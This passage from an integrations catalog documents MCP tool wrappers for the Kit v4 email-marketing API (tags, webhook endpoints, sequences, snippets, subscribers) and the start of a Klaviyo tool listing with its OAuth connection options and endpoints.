/v4/subscribers/{subscriber_id}/tags. Returns a cursor-paginated list of the tags currently applied to a subscriber, including when each was applied (`tagged_at`). To see every tag in the account, use List tags. To add or remove a tag for this subscriber, use Tag a subscriber and Remove tag from subscriber. GET /api/v1/kit/v4/subscribers/{subscriber_id}/tags. Scopes: public. kit_get_v4_tags (read) — List tags. GET /v4/tags. Returns a cursor-paginated list of all tags in the account with their `id`, `name`, and creation date. Add `include=subscriber_count` to embed each tag's subscriber count. Tags are the main building block for segmenting your list: apply one with Tag a subscriber, and see who has one with List subscribers for a tag. GET /api/v1/kit/v4/tags. Scopes: public. kit_get_v4_tags_by_tag_id_subscribers (read) — List subscribers for a tag. GET /v4/tags/{tag_id}/subscribers. Returns a cursor-paginated list of subscribers who have this tag. By default only `active` subscribers are returned — use `status` (`active`, `inactive`, `bounced`, `complained`, `cancelled`, or `all`) to widen the search. Filter by when the tag was applied with `tagged_after`/`tagged_before` (format `yyyy-mm-dd`), or by when the subscriber joined with `created_after`/`created_before`. Set `slim=true` to omit expensive optional fields for a faster, smaller response. GET /api/v1/kit/v4/tags/{tag_id}/subscribers. Scopes: public. kit_get_v4_webhook_endpoints (read) — List webhook endpoints. GET /v4/webhook_endpoints. Returns a paginated list of the account's webhook endpoints. Filter with `status` to return only `active` or `disabled` endpoints. Webhook endpoints are the current generation of Kit webhooks: one endpoint subscribes to many event types and receives signed, automatically retried deliveries. They supersede the legacy Webhooks resource — which keeps working — and are the right choice for all new integrations. Start with the webhooks guides. GET /api/v1/kit/v4/webhook_endpoints. Scopes: public. kit_get_v4_webhook_endpoints_by_id (read) — Get a webhook endpoint. GET /v4/webhook_endpoints/{id}. Returns a single webhook endpoint. The signing `secret` is never included — it's only returned when you create the endpoint or rotate the secret. Returns `404` when the id doesn't exist, belongs to another account, or belongs to an endpoint created by a different app. GET /api/v1/kit/v4/webhook_endpoints/{id}. Scopes: public. kit_get_v4_webhooks (read) — List webhooks. GET /v4/webhooks. Legacy: This is the previous generation of Kit webhooks. It keeps working and there are no plans to remove it, but it's superseded by webhook endpoints, which support many event types per endpoint, signed deliveries, and automatic retries — use those for new integrations. See the webhooks guides. Webhooks are automations that will receive subscriber data when a subscriber event is triggered, such as when a subscriber completes a sequence. When a webhook is triggered, a `POST` request will be made to your URL with a JSON payload. GET /api/v1/kit/v4/webhooks. Scopes: public. kit_patch_v4_subscribers_by_subscriber_id_location (write) — Update a subscriber's pinned location. PATCH /v4/subscribers/{subscriber_id}/location. Updates a subscriber's pinned location. This is a full replacement, not a partial update: `city`, `state_province`, `country_code` (ISO 3166-1 alpha-2), `latitude`, `longitude`, and `timezone` (IANA timezone name, e.g. `America/Denver`) are all required, so resend the current value for any field you are not changing. Omitting one returns `422`. Returns the subscriber's `id` and the updated `location` on success. To create a pin from scratch, use Pin a subscriber's location (POST); to remove the pin entirely, use Delete a subscriber's location. Returns `404` when the subscriber is not found, `422` when a required field is missing or invalid. PATCH /api/v1/kit/v4/subscribers/{subscriber_id}/location. Scopes: public. kit_patch_v4_webhook_endpoints_by_id (write) — Update a webhook endpoint. PATCH /v4/webhook_endpoints/{id}. Updates any of `name`, `url`, `description`, `status`, and `events`. Set `status` to `disabled` to stop deliveries without deleting the endpoint, and back to `active` to resume. Note: `events` replaces the endpoint's entire subscription list — send the complete set you want, not just the additions. Endpoints created by an app (via OAuth) can only be updated by that app; an API key request returns `403`. PATCH /api/v1/kit/v4/webhook_endpoints/{id}. Scopes: public. kit_post_v4_broadcasts (write) — Create a broadcast. POST /v4/broadcasts. Draft or schedule to send a broadcast to all or a subset of your subscribers. To save a draft, set `send_at` to `null`. To publish to the web, set `public` to `true`. To schedule the broadcast for sending, provide a `send_at` timestamp. Scheduled broadcasts should contain a subject and your content, at a minimum. We currently support targeting your subscribers based on segment or tag ids. POST /api/v1/kit/v4/broadcasts. Scopes: public. kit_post_v4_bulk_custom_fields (write) — Bulk create custom fields. POST /v4/bulk/custom_fields. REQUIRES AN OAUTH CONNECTION: Kit refuses an API key here. See "Bulk & async processing" for more information. POST /api/v1/kit/v4/bulk/custom_fields. Scopes: public. kit_post_v4_bulk_custom_fields_subscribers (write) — Bulk update subscriber custom field values. POST /v4/bulk/custom_fields/subscribers. REQUIRES AN OAUTH CONNECTION: Kit refuses an API key here. Creates or updates custom field values for many subscribers in one request. Each entry in `custom_field_values` pairs a `subscriber_id` with a `subscriber_custom_field_id` and the `value` to set. Requires OAuth authentication. Requests with 100 or fewer values are processed synchronously (`200`); larger requests are processed asynchronously (`202`) — provide a `callback_url` to be notified on completion, and see Bulk & async processing for how async requests behave. Returns `413` when the request would exceed the account's data limit for enqueued bulk requests. The custom fields must already exist — entries referencing an unknown `subscriber_custom_field_id` are rejected individually with a `Custom field does not exist` error in the response's failures list, while the rest of the batch is still processed. See List custom fields and Bulk create custom fields. POST /api/v1/kit/v4/bulk/custom_fields/subscribers. Scopes: public. kit_post_v4_bulk_forms_subscribers (write) — Bulk add subscribers to forms. POST /v4/bulk/forms/subscribers. REQUIRES AN OAUTH CONNECTION: Kit refuses an API key here. Adding subscribers to double opt-in forms will trigger sending an Incentive Email. Subscribers already added to the specified form will not receive the Incentive Email again. For more information about double opt-in see "Double opt-in". The subscribers being added to the form must already exist. Subscribers can be created in bulk using the "Bulk create subscriber" endpoint. See "Bulk & async processing" for more information. POST /api/v1/kit/v4/bulk/forms/subscribers. Scopes: public. kit_post_v4_bulk_subscribers (write) — Bulk create subscribers. POST /v4/bulk/subscribers. REQUIRES AN OAUTH CONNECTION: Kit refuses an API key here. See "Bulk & async processing" for more information. POST /api/v1/kit/v4/bulk/subscribers. Scopes: public. kit_post_v4_bulk_tags (write) — Bulk create tags. POST /v4/bulk/tags. REQUIRES AN OAUTH CONNECTION: Kit refuses an API key here. See "Bulk & async processing" for more information. POST /api/v1/kit/v4/bulk/tags. Scopes: public. kit_post_v4_bulk_tags_subscribers (write) — Bulk tag subscribers. POST /v4/bulk/tags/subscribers. REQUIRES AN OAUTH CONNECTION: Kit refuses an API key here. The subscribers being tagged must already exist. Subscribers can be created in bulk using the "Bulk create subscriber" endpoint. See "Bulk & async processing" for more information. POST /api/v1/kit/v4/bulk/tags/subscribers. Scopes: public. kit_post_v4_custom_fields (write) — Create a custom field. POST /v4/custom_fields. Create a custom field for your account. The label field must be unique to your account. Whitespace will be removed from the beginning and the end of your label. Additionally, a key field and a name field will be generated for you. The key is an ASCII-only, lowercased, underscored representation of your label. This key must be unique to your account. Keys are used in personalization tags in sequences and broadcasts. Names are unique identifiers for use in the HTML of custom forms. They are made up of a combination of ID and the key of the custom field prefixed with "ck_field". POST /api/v1/kit/v4/custom_fields. Scopes: public. kit_post_v4_forms_by_form_id_subscribers (write) — Add subscriber to form by email address. POST /v4/forms/{form_id}/subscribers. The subscriber being added to the form must already exist. Subscribers can be created using the "Create a subscriber" endpoint. POST /api/v1/kit/v4/forms/{form_id}/subscribers. Scopes: public. kit_post_v4_forms_by_form_id_subscribers_by_id (write) — Add subscriber to form. POST /v4/forms/{form_id}/subscribers/{id}. The subscriber being added to the form must already exist. Subscribers can be created using the "Create a subscriber" endpoint. POST /api/v1/kit/v4/forms/{form_id}/subscribers/{id}. Scopes: public. kit_post_v4_purchases (write) — Create a purchase. POST /v4/purchases. REQUIRES AN OAUTH CONNECTION: Kit refuses an API key here. Records a purchase against a subscriber, identified by `email_address` — use this to sync order data from your e-commerce platform into Kit so it appears on the subscriber's profile and can drive purchase-based automations. If no subscriber with that email address exists, one is created (in the `active` state) as part of the request. Provide the external `transaction_id` (required), monetary breakdown (`subtotal`, `tax`, `shipping`, `discount`, `total`), a 3-letter `currency` code (e.g. `USD`), `transaction_time`, and the purchased `products` — each product needs a `pid` (your platform's product identifier); products that don't exist yet are created automatically. Note: purchases are matched on `transaction_id`, so submitting one that already exists updates the existing purchase instead of creating a duplicate. The `products` in your request are *added* to that purchase as additional line items — they don't replace the ones already recorded — so resending the same products will duplicate the line items. Only include `products` you haven't already synced for that `transaction_id`. Returns `422` when required parameters are missing or invalid. POST /api/v1/kit/v4/purchases. Scopes: public. kit_post_v4_sequences (write) — Create a sequence. POST /v4/sequences. Creates an empty sequence — the container that holds sequence emails. After creating the shell, use Create a sequence email to populate it. Only `name` is required. Every other field has a sensible default: Kit fills in the account's default sending address, a daily send schedule, and the account time zone — and any of these can be tuned later via Update a sequence. Two behavioural toggles worth flagging up front. `repeat` controls whether a subscriber can re-enter the sequence: by default a subscriber receives the emails once and is marked complete, but with `repeat: true`, re-adding the same subscriber via a Visual Automation, Rule, Bulk Action, or Import resets their position to the start. Filters and exclusions still apply across restarts. `hold` (evergreen) keeps subscribers active in the sequence after they've received every published email — useful when you plan to add more emails later. Without `hold`, subscribers transition to Completed and won't pick up future additions. `exclude_subscriber_sources` lets you exclude subscribers acquired via specific tags, sequences, forms, or segments — they'll skip this sequence entirely. For end-user context, see the help articles on creating and sending a sequence, restarting a sequence, and holding subscribers in evergreen sequences. POST /api/v1/kit/v4/sequences. Scopes: public. kit_post_v4_sequences_by_sequence_id_emails (write) — Create a sequence email. POST /v4/sequences/{sequence_id}/emails. Adds a single email to a sequence. Each sequence email represents one step subscribers receive on their journey through the sequence — its `position` determines order, and `delay_value` / `delay_unit` / `send_days` determine when it fires relative to either the previous email or the subscriber's entry. `subject`, `delay_value`, and `delay_unit` are required. Day-based emails (`delay_unit: "days"`) follow the parent sequence's `send_days` and `send_hour`; their per-email `send_days` (e.g. `["monday", "wednesday"]`) overrides the sequence schedule for that one email. Hour-based emails (`delay_unit: "hours"`) ignore the sequence schedule and fire once the delay elapses — Kit checks for hour-delayed sends every 15 minutes — and always return `send_days` as `null`. New emails are created in draft (`published: false`) so they don't go out until you flip the flag. `position` is auto-assigned to the end of the sequence if omitted. `content` accepts HTML and can embed snippets with `{{ snippet. }}` — see Create a snippet — which Kit resolves at send time, so editing a snippet later updates every email referencing it without a re-publish. Note: only the first email in a sequence can be an immediate send (`delay_value: 0` with `delay_unit: "days"`). Subsequent emails need a positive delay. Warning: publishing an immediate first email, or inserting a new email at a `position` earlier than where existing subscribers sit, processes those subscribers and triggers a send right away. Plan around active sequences carefully. For end-user context on how creators build sequences in the Kit UI, see the help article on creating and sending a sequence. POST /api/v1/kit/v4/sequences/{sequence_id}/emails. Scopes: public. kit_post_v4_sequences_by_sequence_id_subscribers (write) — Add subscriber to sequence by email address. POST /v4/sequences/{sequence_id}/subscribers. The subscriber being added to the sequence must already exist. Subscribers can be created using the "Create a subscriber" endpoint. POST /api/v1/kit/v4/sequences/{sequence_id}/subscribers. Scopes: public. kit_post_v4_sequences_by_sequence_id_subscribers_by_id (write) — Add subscriber to sequence. POST /v4/sequences/{sequence_id}/subscribers/{id}. The subscriber being added to the sequence must already exist. Subscribers can be created using the "Create a subscriber" endpoint. POST /api/v1/kit/v4/sequences/{sequence_id}/subscribers/{id}. Scopes: public. kit_post_v4_snippets (write) — Create a snippet. POST /v4/snippets. Snippets are reusable pieces of email content you can drop into a broadcast or sequence email using Liquid: `{{ snippet.key }}`. Update the snippet once and every email that references it picks up the new content on next send. There are two `snippet_type`s. `inline` snippets store plain-text content (with Liquid variable support like `{{ subscriber.first_name }}`) in the `content` field. `block` snippets store rich-text HTML — text, lists, images, buttons — in `document_attributes.value_html`. A snippet's type is fixed at creation: it cannot be changed via Update a snippet. The response includes a `key` field. That's the identifier you use in Liquid — for example, a snippet returned with `"key": "welcome-message"` is referenced inside a broadcast as `{{ snippet.welcome-message }}`. Keys are derived from the snippet name on creation. Note: the API rejects circular references — a snippet cannot reference itself, directly or transitively — with a `422` validation error. For end-user context on how creators build and edit snippets in the Kit UI, see the help articles on content snippets and code snippets for custom templates. POST /api/v1/kit/v4/snippets. Scopes: public. kit_post_v4_subscribers (write) — Create a subscriber. POST /v4/subscribers. Behaves as an upsert. If a subscriber with the provided email address does not exist, it creates one with the specified first name and state. If a subscriber with the provided email address already exists, it updates the first name. If you include a custom field key that does not exist on your account, the request returns an error. Use List custom fields to retrieve existing keys, or Create a custom field to add new fields before setting them for subscribers. NOTE: Updating the subscriber state with this endpoint is not supported at this time. NOTE: We support creating/updating a maximum of 140 custom fields at a time. POST /api/v1/kit/v4/subscribers. Scopes: public. kit_post_v4_subscribers_by_id_unsubscribe (write) — Unsubscribe subscriber. POST /v4/subscribers/{id}/unsubscribe. Unsubscribes the subscriber from all future emails, moving them to the `cancelled` state. Returns `204 No Content` on success. The subscriber record, history, and tags are retained — they are not deleted from the account. Note: this is the API equivalent of the subscriber clicking unsubscribe. Treat it as consent-revoking and effectively permanent — only re-subscribe someone with their explicit permission. POST /api/v1/kit/v4/subscribers/{id}/unsubscribe. Scopes: public. kit_post_v4_subscribers_by_subscriber_id_location (write) — Pin a subscriber's location. POST /v4/subscribers/{subscriber_id}/location. Pins an explicit location to a subscriber, overriding any location Kit has inferred from open events. Provide `city`, `state_province`, `country_code` (ISO 3166-1 alpha-2, required), `latitude`, `longitude`, and `timezone` (IANA timezone name, e.g. `America/Denver`). Returns the subscriber's `id` and the pinned `location` on success. If the subscriber already has a pinned location this replaces it. To replace the values on an existing pin, use Update a subscriber's pinned location (PATCH); to remove the pin, use Delete a subscriber's location. The pinned location is returned on Get a subscriber. Returns `404` when the subscriber is not found, `422` when a required field is missing or invalid. POST /api/v1/kit/v4/subscribers/{subscriber_id}/location. Scopes: public. kit_post_v4_subscribers_filter (write) — Filter subscribers by engagement, sign-up date, state, and tags. POST /v4/subscribers/filter. Searches your subscriber list with compound conditions: email engagement (opens, clicks, sends, deliveries — with count thresholds and date ranges), sign-up date, subscriber state, and tags. Every condition in the `all` array must match (AND logic). Use `counting_mode` to control how engagement thresholds are tallied — `raw` (default) counts every event, `unique_email` counts distinct emails — and the `include` array to embed extra fields (tags, stats, custom fields, location, attribution, canceled_at) on each returned subscriber. Data retention: Starting October 15, 2026, email stats (opens, clicks, sends, bounces, and unsubscribes) are available via the API for the last 5 years — engagement-condition date bounds are clamped to that window, and a `stats` include range outside it returns a `400` error. See Email data retention for the full policy. POST /api/v1/kit/v4/subscribers/filter. Scopes: public. kit_post_v4_tags (write) — Create a tag. POST /v4/tags. Creates a tag with the given `name`. Creation is idempotent on name (matched case-insensitively): if a tag with that name already exists, the endpoint returns `200` with the existing tag instead of creating a duplicate (a newly created tag returns `201`). Returns `422` if `name` is missing. To create many tags in one request, use Bulk create tags. POST /api/v1/kit/v4/tags. Scopes: public. kit_post_v4_tags_by_tag_id_subscribers (write) — Tag a subscriber by email address. POST /v4/tags/{tag_id}/subscribers. The subscriber being tagged must already exist. Subscribers can be created using the "Create a subscriber" endpoint. POST /api/v1/kit/v4/tags/{tag_id}/subscribers. Scopes: public. kit_post_v4_tags_by_tag_id_subscribers_by_id (write) — Tag a subscriber. POST /v4/tags/{tag_id}/subscribers/{id}. The subscriber being tagged must already exist. Subscribers can be created using the "Create a subscriber" endpoint. POST /api/v1/kit/v4/tags/{tag_id}/subscribers/{id}. Scopes: public. kit_post_v4_webhook_endpoints (write) — Create a webhook endpoint. POST /v4/webhook_endpoints. Registers a URL to receive deliveries for the event types listed in `events`. The `url` must be publicly reachable over HTTP(S) — private, internal, and loopback addresses are rejected. The response is the only time the signing `secret` is returned in plaintext. Store it securely; you need it to verify the signature on every delivery. If you lose it, rotate the secret to get a new one. Note: This resource supersedes the legacy Webhooks resource. Legacy webhooks keep working, but new integrations should be built here — see getting started for a full walkthrough. POST /api/v1/kit/v4/webhook_endpoints. Scopes: public. kit_post_v4_webhook_endpoints_by_id_revoke_previous_secret (write) — Revoke the previous webhook endpoint secret. POST /v4/webhook_endpoints/{id}/revoke_previous_secret. Closes a rotation's overlap window early: the previous secret stops verifying immediately, leaving only the current secret valid. Call this once you've fully switched to the new secret, rather than waiting for `previous_secret_expires_at` to pass. Subsequent deliveries are signed with the current secret only, so the `X-Kit-Signature` header goes back to carrying a single `v1` entry. POST /api/v1/kit/v4/webhook_endpoints/{id}/revoke_previous_secret. Scopes: public. kit_post_v4_webhook_endpoints_by_id_rotate_secret (write) — Rotate a webhook endpoint secret. POST /v4/webhook_endpoints/{id}/rotate_secret. Generates a new signing secret for the endpoint and returns it. The response is the only time the new `secret` appears in plaintext — store it securely. To avoid dropping deliveries mid-rollout, the previous secret keeps verifying until the overlap window closes (the endpoint's `previous_secret_expires_at`). During the window every delivery is signed with both secrets, so the `X-Kit-Signature` header carries two `v1` entries — see secret rotation. Rotating again while a previous rotation's window is still open returns `409`; pass `force: true` to rotate anyway and immediately expire the older secret. Once you've switched over, you can close the window early with Revoke the previous secret. POST /api/v1/kit/v4/webhook_endpoints/{id}/rotate_secret. Scopes: public. kit_post_v4_webhooks (write) — Create a webhook. POST /v4/webhooks. Legacy: This creates a previous-generation webhook. Existing webhooks keep working and there are no plans to remove them, but new integrations should use Create a webhook endpoint instead — one endpoint subscribes to many event types and gets signed, automatically retried deliveries. See the webhooks guides. Available event types: - `subscriber.subscriber_activate` - `subscriber.subscriber_unsubscribe` - `subscriber.subscriber_bounce` - `subscriber.subscriber_complain` - `subscriber.form_subscribe`, required parameter `form_id` [Integer] - `subscriber.course_subscribe`, required parameter `sequence_id` [Integer] - `subscriber.course_complete`, required parameter `sequence_id` [Integer] - `subscriber.link_click`, required parameter `initiator_value` [String] as a link URL - `subscriber.product_purchase`, required parameter `product_id` [Integer] - `subscriber.tag_add`, required parameter `tag_id` [Integer] - `subscriber.tag_remove`, required parameter `tag_id` [Integer] - `purchase.purchase_create` - `custom_field.field_created` - `custom_field.field_deleted` - `custom_field.field_value_updated`, required parameter `custom_field_id` [Integer] POST /api/v1/kit/v4/webhooks. Scopes: public. kit_put_v4_account_colors (write) — Update colors. PUT /v4/account/colors. Replaces the account's brand color palette with the provided array of up to 10 hex codes and returns the updated list. Note: this overwrites the entire palette rather than appending — include every color you want to keep. Returns `422` when a color code is invalid. PUT /api/v1/kit/v4/account/colors. Scopes: public. kit_put_v4_broadcasts_by_id (write) — Update a broadcast. PUT /v4/broadcasts/{id}. Update an existing broadcast. Continue to draft or schedule to send a broadcast to all or a subset of your subscribers. To save a draft, set `public` to false. To schedule the broadcast for sending, set `public` to true and provide `send_at`. Scheduled broadcasts should contain a subject and your content, at a minimum. We currently support targeting your subscribers based on segment or tag ids. PUT /api/v1/kit/v4/broadcasts/{id}. Scopes: public. kit_put_v4_custom_fields_by_id (write) — Update a custom field. PUT /v4/custom_fields/{id}. Updates a custom field label (see Create a custom field for more information on labels). Note that the key will change but the name remains the same when the label is updated. Warning: An update to a custom field will break all of the liquid personalization tags in emails that reference it - e.g. if you update a `Zip_Code` custom field to `Post_Code`, all liquid tags referencing `{{ subscriber.Zip_Code }}` would no longer work and need to be replaced with `{{ subscriber.Post_Code }}`. PUT /api/v1/kit/v4/custom_fields/{id}. Scopes: public. kit_put_v4_sequences_by_id (write) — Update a sequence. PUT /v4/sequences/{id}. Updates any sequence settings — `name`, `email_address`, schedule (`send_days`, `send_hour`, `time_zone`), `email_template_id`, `exclude_subscriber_sources`, or the `active` / `repeat` / `hold` flags. Only fields included in the request body change; everything else is preserved. Some changes have user-visible side effects on subscribers already in the sequence: Note: flipping `active` from `false` to `true` resumes delivery for queued subscribers. Flipping it back to `false` pauses the sequence — subscribers stay in their current position but no new emails are sent until it's reactivated. Note: changing the schedule (`send_days`, `send_hour`, or `time_zone`) only affects future sends. It does not retroactively reschedule emails already queued for delivery. Warning: turning off `repeat` while subscribers are mid-sequence does not stop them from finishing — but they won't be re-eligible to start over after completing. See Create a sequence for the full sequence model and what each field controls. PUT /api/v1/kit/v4/sequences/{id}. Scopes: public. kit_put_v4_sequences_by_sequence_id_emails_by_id (write) — Update a sequence email. PUT /v4/sequences/{sequence_id}/emails/{id}. Updates any field on a sequence email — `subject`, `preview_text`, `content`, `delay_value`, `delay_unit`, `send_days`, `position`, `email_template_id`, or `published`. Only fields included in the request body change; everything else is preserved. Note: pass `send_days: null` to revert a per-email schedule override and inherit the parent sequence's `send_days` again. The response will then return all 7 days, indicating no per-email restriction. Warning: sending `send_days` on an email with `delay_unit: "hours"` returns `422` — `send_days` only applies to day-based emails. Warning: changing `position` while subscribers are actively progressing through the sequence can cause emails to be sent out of order or skipped. The same caution applies to flipping `published` on a `position: 0` email — it triggers Kit to process all queued subscribers for that email. For the sequence-email model and how `delay_unit` and `send_days` interact, see Create a sequence email. PUT /api/v1/kit/v4/sequences/{sequence_id}/emails/{id}. Scopes: public. kit_put_v4_snippets_by_id (write) — Update a snippet. PUT /v4/snippets/{id}. Rename a snippet, replace its body, or archive/restore it. Updates apply on the next send of any email that references the snippet via `{{ snippet.key }}` — there's no per-email versioning, so a content change ripples to every broadcast or sequence email using that key. The request body must match the existing `snippet_type`. For an `inline` snippet, send `content` (and optionally `name`, `archived`). For a `block` snippet, send `document_attributes.value_html` (and optionally `name`, `archived`). Pass `archived: true` to archive, `false` to restore. Warning: `snippet_type` is immutable. Sending a different value, or sending the body shape for the wrong type, returns a `422` with `snippet_type cannot be changed`. See Create a snippet for the full snippet model and how `key` ties into Liquid. PUT /api/v1/kit/v4/snippets/{id}. Scopes: public. kit_put_v4_subscribers_by_id (write) — Update a subscriber. PUT /v4/subscribers/{id}. If you include a custom field key that does not exist on your account, the request returns an error. Use List custom fields to retrieve existing keys, or Create a custom field to add new fields before setting them for subscribers. NOTE: We support creating/updating a maximum of 140 custom fields at a time. PUT /api/v1/kit/v4/subscribers/{id}. Scopes: public. kit_put_v4_tags_by_id (write) — Update tag name. PUT /v4/tags/{id}. Renames a tag. The tag keeps its `id` and all of its subscribers — only the `name` changes, and the new name is reflected everywhere the tag is used (forms, automations, filters). Returns `422` when the new name is blank or already used by another tag in the account (names are unique, case-insensitive). PUT /api/v1/kit/v4/tags/{id}. Scopes: public. ================================================================================ ## Klaviyo URL: https://www.agenticfabriq.com/integrations/klaviyo Section: Integrated Tools Klaviyo — 344 MCP tools Provider key: klaviyo. Scopes: accounts:read, campaigns:read, campaigns:write, catalogs:read, catalogs:write, conversations:read, conversations:write, coupon-codes:read, coupon-codes:write, coupons:read, coupons:write, custom-objects:read, custom-objects:write, data-privacy:write, events:read, events:write, flows:read, flows:write, forms:read, forms:write, images:read, images:write, lists:read, lists:write, metrics:read, metrics:write, profiles:read, profiles:write, push-tokens:read, push-tokens:write, reviews:read, reviews:write, segments:read, segments:write, subscriptions:read, subscriptions:write, tags:read, tags:write, templates:read, templates:write, tracking-settings:read, tracking-settings:write, web-feeds:read, web-feeds:write, webhooks:read, webhooks:write. Connect: AF hosted — your end user signs in to their account using Agentic Fabriq's OAuth app (POST /api/v1/apps/{app_id}/external-users/{uid}/oauth/{provider}/initiate, redirect to oauth_url); BYO — your org admin registers the OAuth app, then your end user signs in to their account through it (POST /api/v1/apps/{app_id}/external-users/{uid}/oauth/{provider}/initiate, redirect to oauth_url); API / credentials — your end user pastes a credential into an Agentic Fabriq-hosted connect screen (POST /api/v1/apps/{app_id}/external-users/{uid}/credentials/{provider}/initiate, redirect to connect_url). Every path is end-user self-service — no admin-entered credential. Branch at runtime on GET /api/v1/apps/{app_id}/external-users/providers/capabilities, on oauth || key_connect — two branches, no third. key_connect means "connect through the credentials initiate", not "the user pastes a key": AF’s hosted page decides what it asks for. link_connect describes that page for your UI copy and is never a routing flag. klaviyo_delete_api_campaigns_by_id (write, destructive) — Delete campaign via DELETE /api/campaigns/{id} DELETE /api/v1/klaviyo/api/campaigns/{id}. Scopes: campaigns:write. klaviyo_delete_api_catalog_categories_by_id (write, destructive) — Delete catalog category via DELETE /api/catalog-categories/{id} DELETE /api/v1/klaviyo/api/catalog-categories/{id}. Scopes: catalogs:write. klaviyo_delete_api_catalog_categories_by_id_relationships_items (write, destructive) — Remove items from catalog category via DELETE /api/catalog-categories/{id}/relationships/items DELETE /api/v1/klaviyo/api/catalog-categories/{id}/relationships/items. Scopes: catalogs:write. klaviyo_delete_api_catalog_items_by_id (write, destructive) — Delete catalog item via DELETE /api/catalog-items/{id} DELETE /api/v1/klaviyo/api/catalog-items/{id}. Scopes: catalogs:write. klaviyo_delete_api_catalog_items_by_id_relationships_categories (write, destructive) — Remove categories from catalog item via DELETE /api/catalog-items/{id}/relationships/categories DELETE /api/v1/klaviyo/api/catalog-items/{id}/relationships/categories. Scopes: catalogs:write. klaviyo_delete_api_catalog_variants_by_id (write, destructive) — Delete catalog variant via DELETE /api/catalog-variants/{id} DELETE /api/v1/klaviyo/api/catalog-variants/{id}. Scopes: catalogs:write. klaviyo_delete_api_coupon_codes_by_id (write, destructive) — Delete coupon code via DELETE /api/coupon-codes/{id} DELETE /api/v1/klaviyo/api/coupon-codes/{id}. Scopes: coupon-codes:write. klaviyo_delete_api_coupons_by_id (write, destructive) — Delete coupon via DELETE /api/coupons/{id} DELETE /api/v1/klaviyo/api/coupons/{id}. Scopes: coupons:write. klaviyo_delete_api_custom_metrics_by_id (write, destructive) — Delete custom metric via DELETE /api/custom-metrics/{id} DELETE /api/v1/klaviyo/api/custom-metrics/{id}. Scopes: metrics:write. klaviyo_delete_api_data_sources_by_id (write, destructive) — Delete data source via DELETE /api/data-sources/{id} DELETE /api/v1/klaviyo/api/data-sources/{id}. Scopes: custom-objects:write. klaviyo_delete_api_flow_actions_by_id (write, destructive) — Delete flow action via DELETE /api/flow-actions/{id} DELETE /api/v1/klaviyo/api/flow-actions/{id}. Scopes: flows:write. klaviyo_delete_api_flows_by_id (write, destructive) — Delete flow via DELETE /api/flows/{id} DELETE /api/v1/klaviyo/api/flows/{id}. Scopes: flows:write. klaviyo_delete_api_forms_by_id (write, destructive) — Delete form via DELETE /api/forms/{id} DELETE /api/v1/klaviyo/api/forms/{id}. Scopes: forms:write. klaviyo_delete_api_lists_by_id (write, destructive) — Delete list via DELETE /api/lists/{id} DELETE /api/v1/klaviyo/api/lists/{id}. Scopes: lists:write. klaviyo_delete_api_lists_by_id_relationships_profiles (write, destructive) — Remove profiles from list via DELETE /api/lists/{id}/relationships/profiles DELETE /api/v1/klaviyo/api/lists/{id}/relationships/profiles. Scopes: lists:write, profiles:write. klaviyo_delete_api_object_schemas_by_id_relationships_object_schemas (write, destructive) — Delete object schema relationship via DELETE /api/object-schemas/{id}/relationships/object-schemas DELETE /api/v1/klaviyo/api/object-schemas/{id}/relationships/object-schemas. Scopes: custom-objects:write. klaviyo_delete_api_object_schemas_by_id_relationships_profile_object_schemas (write, destructive) — Delete profile schema relationship via DELETE /api/object-schemas/{id}/relationships/profile-object-schemas DELETE /api/v1/klaviyo/api/object-schemas/{id}/relationships/profile-object-schemas. Scopes: custom-objects:write. klaviyo_delete_api_object_types_by_id (write, destructive) — Delete object type via DELETE /api/object-types/{id} DELETE /api/v1/klaviyo/api/object-types/{id}. Scopes: custom-objects:write. klaviyo_delete_api_push_tokens_by_id (write, destructive) — Delete push token via DELETE /api/push-tokens/{id} DELETE /api/v1/klaviyo/api/push-tokens/{id}. Scopes: push-tokens:write. klaviyo_delete_api_segments_by_id (write, destructive) — Delete segment via DELETE /api/segments/{id} DELETE /api/v1/klaviyo/api/segments/{id}. Scopes: segments:write. klaviyo_delete_api_tag_groups_by_id (write, destructive) — Delete tag group via DELETE /api/tag-groups/{id} DELETE /api/v1/klaviyo/api/tag-groups/{id}. Scopes: tags:read, tags:write. klaviyo_delete_api_tags_by_id (write, destructive) — Delete tag via DELETE /api/tags/{id} DELETE /api/v1/klaviyo/api/tags/{id}. Scopes: tags:read, tags:write. klaviyo_delete_api_tags_by_id_relationships_campaigns (write, destructive) — Remove tag from campaigns via DELETE /api/tags/{id}/relationships/campaigns DELETE /api/v1/klaviyo/api/tags/{id}/relationships/campaigns. Scopes: campaigns:write, tags:write. klaviyo_delete_api_tags_by_id_relationships_flows (write, destructive) — Remove tag from flows via DELETE /api/tags/{id}/relationships/flows DELETE /api/v1/klaviyo/api/tags/{id}/relationships/flows. Scopes: flows:write, tags:write. klaviyo_delete_api_tags_by_id_relationships_lists (write, destructive) — Remove tag from lists via DELETE /api/tags/{id}/relationships/lists DELETE /api/v1/klaviyo/api/tags/{id}/relationships/lists. Scopes: lists:write, tags:write. klaviyo_delete_api_tags_by_id_relationships_segments (write, destructive) — Remove tag from segments via DELETE /api/tags/{id}/relationships/segments DELETE /api/v1/klaviyo/api/tags/{id}/relationships/segments. Scopes: segments:write, tags:write. klaviyo_delete_api_template_universal_content_by_id (write, destructive) — Delete universal content via DELETE /api/template-universal-content/{id} DELETE /api/v1/klaviyo/api/template-universal-content/{id}. Scopes: templates:write. klaviyo_delete_api_templates_by_id (write, destructive) — Delete template via DELETE /api/templates/{id} DELETE /api/v1/klaviyo/api/templates/{id}. Scopes: templates:write. klaviyo_delete_api_web_feeds_by_id (write, destructive) — Delete web feed via DELETE /api/web-feeds/{id} DELETE /api/v1/klaviyo/api/web-feeds/{id}. Scopes: web-feeds:write. klaviyo_delete_api_webhooks_by_id (write, destructive) — Delete webhook via DELETE /api/webhooks/{id} DELETE /api/v1/klaviyo/api/webhooks/{id}. Scopes: webhooks:write. klaviyo_get_api_accounts (read) — Get accounts via GET /api/accounts GET /api/v1/klaviyo/api/accounts. Scopes: accounts:read. klaviyo_get_api_accounts_by_id (read) — Get account via GET /api/accounts/{id} GET /api/v1/klaviyo/api/accounts/{id}. Scopes: accounts:read. klaviyo_get_api_campaign_messages_by_id (read) — Get campaign message via GET /api/campaign-messages/{id} GET /api/v1/klaviyo/api/campaign-messages/{id}. Scopes: campaigns:read. klaviyo_get_api_campaign_messages_by_id_campaign (read) — Get campaign for campaign message via GET /api/campaign-messages/{id}/campaign GET /api/v1/klaviyo/api/campaign-messages/{id}/campaign. Scopes: campaigns:read. klaviyo_get_api_campaign_messages_by_id_image (read) — Get image for campaign message via GET /api/campaign-messages/{id}/image GET 